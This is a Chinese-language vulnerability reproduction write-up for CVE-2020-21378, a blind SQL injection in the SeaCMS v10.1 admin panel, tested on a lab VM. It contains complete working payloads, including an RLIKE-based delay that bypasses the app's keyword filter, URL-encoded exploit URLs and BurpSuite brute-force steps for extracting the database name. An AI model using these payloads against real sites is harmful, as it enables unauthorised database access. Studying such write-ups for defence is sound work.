CVE-2020-21378 SeaCMS v10.1 后台SQL注入漏洞

Posted 不觉水流sukusec301

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CVE-2020-21378 SeaCMS v10.1 后台SQL注入漏洞相关的知识,希望对你有一定的参考价值。

0x00 漏洞介绍

SeaCMS 10.1 (2020.02.08)存在SQL注入漏洞。攻击者可通过对admin_members_group.php的编辑操作中的id参数利用该漏洞进行SQL注入攻击。

0x01 漏洞环境

  • 攻击机:192.168.91.1 windows10
  • 目标机:192.168.91.142 Ubuntu 18.04-server(64)
  • 工具:火狐浏览器、BurpSuite2021
  • SeaCMS版本:10.1

0x02 漏洞搭建

宝塔Linux搭建就不写了。

seacms v10.1从网上找了半天,都是收费的。给我人整麻了,现在的黑客精神哟,开源共享已经凋零。

找了半天,终于在https://www.62ym.com/31570.html这里找到了,看看人家这个网站!免费!

为了方便,我将这个源码传到了我的github里面,供大家学习研究。

https://github.com/sukusec301/SeaCMS-v10.1

0x03 影响范围

SeaCMS 10.1(2020.02.08)

fofa:app="海洋cms"

0x04 漏洞条件

1、需要找到后台入口,因为seacms一旦搭建成功,后台目录会随机变成一个名字

2、黑盒不好做,白盒审计

3、有点鸡肋,都登陆后台了,还看数据库信息干啥,。。。

0x05 漏洞原理

1、通过代码审计,在/kk4x47/admin_members_groups.php中(注意:当此Seacms搭建网站成功时,网站后台目录名称会随机变化,这里为kk4x47

第55行变量$id拼接成SQL查询,跟进GetOne函数,使用checksql函数过滤SQL注入的变量关键词,可以利用RLIKE正则注入来替换sleep(5)从而绕过函数的过滤,最终造成延时盲注。

2、构造payload,payload注意,因为我的数据库用户名为seacms,所以我user()那里写的是s

  • 初始写一个简单的时间盲注语句
http://192.168.91.142/kk4x47/admin_members_group.php?action=edit&id=2 and if(mid(user(),1,1)=\'s\',sleep(5),1)	#sleep无效
  • 使用RLIKE正则注入语句代替sleep(5)

正则注入语句为下方代码。其中最后的b\'b可以为任意的字符。

concat(rpad(1,999999,\'a\'),rpad(1,999999,\'a\'),rpad(1,999999,\'a\'),rpad(1,999999,\'a\'),rpad(1,999999,\'a\'),rpad(1,999999,\'a\'),rpad(1,999999,\'a\'),rpad(1,999999,\'a\'),rpad(1,999999,\'a\'),rpad(1,999999,\'a\'),rpad(1,999999,\'a\'),rpad(1,999999,\'a\'),rpad(1,999999,\'a\'),rpad(1,999999,\'a\'),rpad(1,999999,\'a\'),rpad(1,999999,\'a\')) rlike \'(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b\'

代替后

http://192.168.91.142/kk4x47/admin_members_group.php?action=edit&id=2 and if(mid(user(),1,1)=\'s\',concat(rpad(1,999999,\'a\'),rpad(1,999999,\'a\'),rpad(1,999999,\'a\'),rpad(1,999999,\'a\'),rpad(1,999999,\'a\'),rpad(1,999999,\'a\'),rpad(1,999999,\'a\'),rpad(1,999999,\'a\'),rpad(1,999999,\'a\'),rpad(1,999999,\'a\'),rpad(1,999999,\'a\'),rpad(1,999999,\'a\'),rpad(1,999999,\'a\'),rpad(1,999999,\'a\'),rpad(1,999999,\'a\'),rpad(1,999999,\'a\')) rlike \'(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b\',1)
  • URL编码,形成最终的payload
http://192.168.91.142/kk4x47/admin_members_group.php?action=edit&id=2%20and%20if(mid(user()%2c1%2c1)%3d%27s%27%2cconcat(rpad(1%2c999999%2c%27a%27)%2crpad(1%2c999999%2c%27a%27)%2crpad(1%2c999999%2c%27a%27)%2crpad(1%2c999999%2c%27a%27)%2crpad(1%2c999999%2c%27a%27)%2crpad(1%2c999999%2c%27a%27)%2crpad(1%2c999999%2c%27a%27)%2crpad(1%2c999999%2c%27a%27)%2crpad(1%2c999999%2c%27a%27)%2crpad(1%2c999999%2c%27a%27)%2crpad(1%2c999999%2c%27a%27)%2crpad(1%2c999999%2c%27a%27)%2crpad(1%2c999999%2c%27a%27)%2crpad(1%2c999999%2c%27a%27)%2crpad(1%2c999999%2c%27a%27)%2crpad(1%2c999999%2c%27a%27))%20rlike%20%27(a.*)%2b(a.*)%2b(a.*)%2b(a.*)%2b(a.*)%2b(a.*)%2b(a.*)%2bsuibianxiema%27%2c1)

正则分析

RLIKE REGEXP正则匹配

通过rpadrepeat构造长字符串,加以计算量大的pattern,通过repeat的参数可以控制延时长短。

 select rpad(\'a\',4999999,\'a\') RLIKE concat(repeat(\'(a.*)+\',30),\'b\');
 
 正则语法:
 . : 匹配任意单个字符
 * : 匹配0个或多个前一个得到的字符
 [] : 匹配任意一个[]内的字符,[ab]*可匹配空串、a、b、或者由任意个a和b组成的字符串。
 ^ : 匹配开头,如^s匹配以s或者S开头的字符串。
 $ : 匹配结尾,如s$匹配以s结尾的字符串。
 n : 匹配前一个字符反复n次。

 RPAD(str,len,padstr)
 用字符串 padstr对 str进行右边填补直至它的长度达到 len个字符长度,然后返回 str。如果 str的长度长于 len\',那么它将被截除到 len个字符。
 mysql> SELECT RPAD(\'hi\',5,\'?\'); -> \'hi???\'
 
 repeat(str,times)  复制字符串times次

⭐️寻找新的延迟函数

concat(rpad(1,999999,\'a\'),rpad(1,999999,\'a\'),rpad(1,999999,\'a\'),rpad(1,999999,\'a\'),rpad(1,999999,\'a\'),rpad(1,999999,\'a\'),rpad(1,999999,\'a\'),rpad(1,999999,\'a\'),rpad(1,999999,\'a\'),rpad(1,999999,\'a\'),rpad(1,999999,\'a\'),rpad(1,999999,\'a\'),rpad(1,999999,\'a\'),rpad(1,999999,\'a\'),rpad(1,999999,\'a\'),rpad(1,999999,\'a\')) RLIKE \'(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+hello\'
#这个hello可以随便写

以上代码等同于 sleep(5)

0x06 漏洞复现

1、网站搭建成功后,访问后台并且登陆网站后台http://192.168.91.142/kk4x47/,点击用户。

2、再点击左边的用户组管理,你会发现,URL一直是http://192.168.91.142/kk4x47/#

3、不慌,打开BurpSuite抓包,点击右边的“编辑”,就能看到真实的URL了,而同时,SQL注入就在这个地方。

4、将URL拷贝下来,打开Hackbar放入

5、将初始的时间盲注sleep(5)语句放入,发现无效果。

6、用RLIKE正则替换一下后的最终payload,发现时间变长了,延时注入成功。

7、接下来就是爆破库名的时候了,其实也可以通过DNS外带。不过DNS外带是有条件的,因为我是windows系统搭建,理论上可以实现,如果是Linux系统,就无法实现了。但是这个环境,只能是时间盲注,无法进行联合查询,所以还是无法DNS外带。只能使用BurpSuite的爆破,将数据库名爆破出来。

  • 第一个变量为mid的那个1,第二个变量为对应数据库名称的字符

  • 设置字典1
1
2
3
4
5
6
7
8
9
10
  • 设置字典2
q
w
e
r
t
y
u
i
o
p
a
s
d
f
g
h
j
k
l
z
x
c
v
b
n
m
  • 开始爆破,整理长度结果得出seacms

0x07 漏洞修复建议

升级cms版本至11

以上是关于CVE-2020-21378 SeaCMS v10.1 后台SQL注入漏洞的主要内容,如果未能解决你的问题,请参考以下文章

seacms 6.64 目录遍历

seacms V11.5代码执行漏洞(0day)

seacms V11.5代码执行漏洞(0day)

SeaCMS 6.64 sql注入

代码审计之seacms v6.45 前台Getshell 复现分析

代码审计seacms 前台Getshell分析